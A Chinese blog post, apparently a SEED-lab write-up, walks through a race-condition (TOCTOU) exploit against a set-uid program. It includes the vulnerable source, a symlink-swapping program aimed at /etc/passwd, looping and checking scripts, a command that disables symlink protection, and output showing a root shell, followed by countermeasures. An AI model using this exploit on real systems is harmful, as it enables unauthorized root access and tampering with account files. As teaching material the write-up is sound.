hacker黑客往事

软件安全-竞争条件漏洞

2018-06-01  本文已影响0人  ustc_sec

Race Condition

概述竞争条件
char* fn = "/tmp/xyz"

检查access(fn,W_OK) 使用open(fn,"a+")

在检查和使用的时候fn所指向的文件不是一个文件

检查的时候判断的是用户真实ID

使用的时候判断的是用户的有效ID

本实验的目的是利用这个漏洞获得root权限

我们需要创造竞争条件,来完成这个实验

竞争条件需求:

  1. 需要这个有漏洞的程序反复运行
  2. 需要一个反复更改/tmp/xyz文件的链接
  3. 需要一个反复检查结果是否成功的脚本

初始化攻击环境

实验环境:ubuntu12
关闭保护机制
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
创建普通文件./XYZ
漏洞程序分析
漏洞程序源码:vulp.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
    char * fn = "/tmp/xyz";
    char buffer[] = "0000";
    FILE *fp;
    if(!access(fn, W_OK))
    {
        fp = fopen(fn, "r+");
        fseek(fp,-28,SEEK_END);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}

运行脚本:attack.sh

#!/bin/sh
$a = 0
while ["$a" == "$a"]
do
    ./vulp
done

检查运行结果是否修改了/etc/passwd文件:check.sh

#!/bin/sh
old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`
while [ "$old" = "$new" ]
do
    new=`ls -l /etc/passwd`
done
echo "STOP... The passwd file has been changed"

修改/tmp/xyz软链接源文件:scrip.c

#include <unistd.h>
int main()
{
    while(1)
    {
        unlink("/tmp/xyz");
        symlink("/home/seed/Seed/race-condition/XYZ","/tmp/xyz");
        usleep(10000);
        unlink("/tmp/xyz");
        symlink("/etc/passwd","/tmp/xyz");
        usleep(10000);
    }
    return 0;
}

漏洞利用获得root权限

普通用户编译scrip.c,运行循环执行脚本attack.sh
root用户编译vulp.c,设置set-uid位,普通用户运行
运行检查结果脚本check.sh
攻击结果:

gu:x:0000:1004::/home/gu:/bin/sh
[03/26/2018 23:17] seed@ubuntu:~/Seed/race-condition$ su gu
Password: 
# 
# whoami
root
#

保护措施

保证检查和使用的文件是同一个文件
及时回收set-uid的特权
打开ubuntu12系统保护
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

上一篇下一篇

猜你喜欢

热点阅读